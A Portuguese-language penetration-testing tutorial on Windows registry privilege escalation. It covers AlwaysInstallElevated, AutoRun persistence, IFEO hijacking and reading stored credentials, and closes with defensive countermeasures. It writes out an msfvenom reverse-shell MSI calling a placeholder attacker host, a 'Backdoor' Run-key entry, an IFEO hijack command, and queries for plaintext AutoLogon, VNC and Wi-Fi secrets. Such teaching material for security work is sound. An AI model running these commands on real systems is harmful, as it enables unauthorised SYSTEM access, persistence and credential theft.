Ataques baseados em registro
Explorando más configurações do registro Windows para escalação de privilégios
O que você vai descobrir
🎯 Por que isso importa
O registro Windows armazena configuração para quase tudo no sistema operacional. Más configurações em chaves de registro específicas podem conceder acesso SYSTEM a usuários não privilegiados. AlwaysInstallElevated é praticamente uma vitória instantânea quando habilitado.
🔍 O que você vai aprender
- Como AlwaysInstallElevated permite escalação de privilégios baseada em MSI
- Explorar chaves de registro AutoRun para execução de código
- Extrair credenciais armazenadas em chaves de registro
- Identificar locais de registro graváveis para persistência
🚀 Sua primeira vitória
Nos próximos 5 minutos, você vai verificar AlwaysInstallElevated no seu próprio sistema - se estiver habilitado, você vai entender exatamente como explorá-lo.
🔧 Experimente agora
Verifique se AlwaysInstallElevated está habilitado no seu sistema:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Você verá: Ou "ERROR: The system was unable to find the specified registry key or value" (não vulnerável) ou "AlwaysInstallElevated REG_DWORD 0x1" (vulnerável - ambas as chaves devem estar em 1).
Habilidades que você vai dominar
✅ Compreensão fundamental
- Estrutura do registro Windows
- Diferenças HKLM vs HKCU
- Comportamento do instalador MSI
- Mecanismos AutoRun
🔍 Habilidades especializadas
- Exploração AlwaysInstallElevated
- Persistência baseada em registro
- Extração de credenciais do registro
- Manipulação de chaves de registro de serviços
Entendendo ataques de registro
O registro Windows é um banco de dados hierárquico armazenando configuração do sistema e aplicações. Certas chaves de registro controlam comportamentos sensíveis à segurança - quando mal configuradas, fornecem caminhos diretos de escalação de privilégios.
Registro = Banco de dados de configuração Windows = Superfície de ataque
AlwaysInstallElevated
Este é um dos vetores de escalação de privilégios mais confiáveis. Quando habilitado em HKLM e HKCU, qualquer arquivo .msi instala com privilégios SYSTEM - mesmo executado por usuários não privilegiados:
# Verificar ambas as chaves (AMBAS devem estar em 1)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Se ambas retornarem 0x1, gerar MSI malicioso:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi
# Executar (executa como SYSTEM)
msiexec /quiet /qn /i shell.msi
# Ou com PowerUp
Write-UserAddMSI
# Cria UserAdd.msi que adiciona um usuário admin local
⚠️ Importante
Ambas as chaves HKLM e HKCU devem estar em 1 para este ataque funcionar. Se apenas uma estiver definida, a vulnerabilidade não existe.
Chaves de registro AutoRun
Chaves AutoRun executam programas na inicialização do sistema ou login do usuário. Se você pode modificar essas chaves ou os binários que elas referenciam, você obtém persistência e potencialmente escalação de privilégios:
# Locais AutoRun comuns
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
# Verificar permissões em binários referenciados
# Se o caminho do binário é gravável, substitua-o pelo seu payload
# Verificar permissões de chaves de registro
accesschk.exe -kwuqsw "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# Se gravável, adicionar sua própria entrada
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\temp\shell.exe"
Credenciais armazenadas no registro
Várias aplicações e recursos Windows armazenam credenciais no registro, às vezes em texto claro ou formatos facilmente reversíveis:
# Credenciais AutoLogon (podem conter senha em texto claro)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" /v DefaultDomainName
# Sessões PuTTY salvas (podem conter credenciais)
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
# Senhas VNC (armazenadas criptografadas mas facilmente quebráveis)
reg query "HKLM\SOFTWARE\RealVNC\WinVNC4" /v Password
reg query "HKCU\Software\TightVNC\Server" /v Password
# Strings de comunidade SNMP
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
# Senhas de redes sem fio
netsh wlan show profiles
netsh wlan show profile name="NetworkName" key=clear
Ferramentas e técnicas
Funções de registro do PowerUp
PowerUp fornece funções especificamente para ataques baseados em registro:
# Verificar AlwaysInstallElevated
Get-RegistryAlwaysInstallElevated
# Verificar credenciais AutoLogon
Get-RegistryAutoLogon
# Encontrar entradas AutoRun modificáveis
Get-ModifiableRegistryAutoRun
# Gerar payload MSI para AlwaysInstallElevated
Write-UserAddMSI
Análise de permissões de registro
Use accesschk para encontrar chaves de registro graváveis:
# Encontrar chaves de registro graváveis em HKLM
accesschk.exe -kwuqsw "Authenticated Users" HKLM\SOFTWARE /accepteula
accesschk.exe -kwuqsw "Users" HKLM\SOFTWARE /accepteula
# Verificar chave específica
accesschk.exe -kwuqsv HKLM\SYSTEM\CurrentControlSet\Services\VulnerableService /accepteula
# Chaves para verificar acesso de escrita:
# HKLM\SYSTEM\CurrentControlSet\Services\* (configurações de serviços)
# HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (autoruns)
# HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options (hijacking de debugger)
Image File Execution Options (IFEO)
IFEO permite especificar um debugger para qualquer executável. Se você pode escrever nessas chaves, você pode sequestrar execução de binários do sistema:
# Verificar permissões IFEO
accesschk.exe -kwuqsw "Authenticated Users" "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
# Se gravável, sequestrar notepad.exe (exemplo)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d "C:\temp\shell.exe"
# Agora quando alguém executa notepad, seu payload executa em vez
Cenários de ataque reais
🔴 Cenário: AlwaysInstallElevated em ambiente corporativo
Um departamento de TI habilitou AlwaysInstallElevated via Group Policy para permitir que usuários instalem software aprovado sem direitos admin. Eles não perceberam que isso permite que TODOS os MSI executem como SYSTEM. Um atacante com acesso de baixo privilégio gera um MSI malicioso e escala instantaneamente para SYSTEM.
Ataque: Verificar registro → Confirmar AlwaysInstallElevated → Gerar MSI com msfvenom → Executar → Shell SYSTEM
🟠 Cenário: Descoberta de credenciais AutoLogon
Um sistema de quiosque usa AutoLogon com credenciais armazenadas no registro. A senha está em texto claro. Um atacante com acesso local lê o registro e obtém credenciais para uma conta de serviço de domínio, permitindo movimento lateral pela rede.
Ataque: Consultar registro Winlogon → Extrair senha em texto claro → Testar contra outros sistemas → Movimento lateral
💡 Dica de especialista
AlwaysInstallElevated é surpreendentemente comum em ambientes corporativos. É frequentemente habilitado por departamentos de TI tentando simplificar o deploy de software sem entender as implicações de segurança. Sempre verifique - é uma verificação rápida com retorno de alto impacto.
Contramedidas defensivas
Prevenção AlwaysInstallElevated
- Nunca habilitar AlwaysInstallElevated em ambientes de produção
- Usar ferramentas de deploy de software apropriadas (SCCM, Intune) em vez disso
- Auditar Group Policy para esta configuração regularmente
- Se necessário, usar AppLocker para restringir quais MSIs podem executar
Proteção de credenciais
- Nunca usar AutoLogon com senhas em texto claro
- Se AutoLogon é necessário, usar LSASecret (ainda extraível mas mais difícil)
- Implementar Credential Guard para proteger credenciais armazenadas
- Auditorias regulares de credenciais armazenadas no registro
Hardening de registro
- Manter ACLs restritivas em chaves de registro sensíveis
- Monitorar modificações de registro em chaves AutoRun e de serviços
- Implementar auditoria de registro para chaves de alto valor
- Usar Security Baselines do Microsoft Security Compliance Toolkit
Perguntas frequentes
Por que alguém habilitaria AlwaysInstallElevated?
Departamentos de TI habilitam para permitir que usuários instalem software aprovado sem ligar para o helpdesk. Frequentemente não percebem que isso se aplica a TODOS os arquivos MSI, não apenas os aprovados. É um trade-off conveniência vs. segurança que dá terrivelmente errado.
Posso modificar chaves de registro HKLM como usuário padrão?
Por padrão, não. HKLM requer privilégios administrativos. No entanto, más configurações (frequentemente de instaladores de software mal escritos) às vezes concedem acesso de escrita a usuários padrão em chaves específicas. Sempre verifique permissões com accesschk.
Como decodifico senhas VNC do registro?
Senhas VNC são "criptografadas" com uma chave fixa e conhecida. Ferramentas como vncpwd ou decodificadores online podem revertê-las instantaneamente. O valor hex no registro é essencialmente texto claro.
🎯 Ataques de registro - Conquistado!
Você agora entende como explorar más configurações de registro para escalação de privilégios. AlwaysInstallElevated, chaves AutoRun e credenciais armazenadas são vetores de ataque poderosos que aparecem frequentemente em ambientes reais.
Pronto para aprender impersonation de token →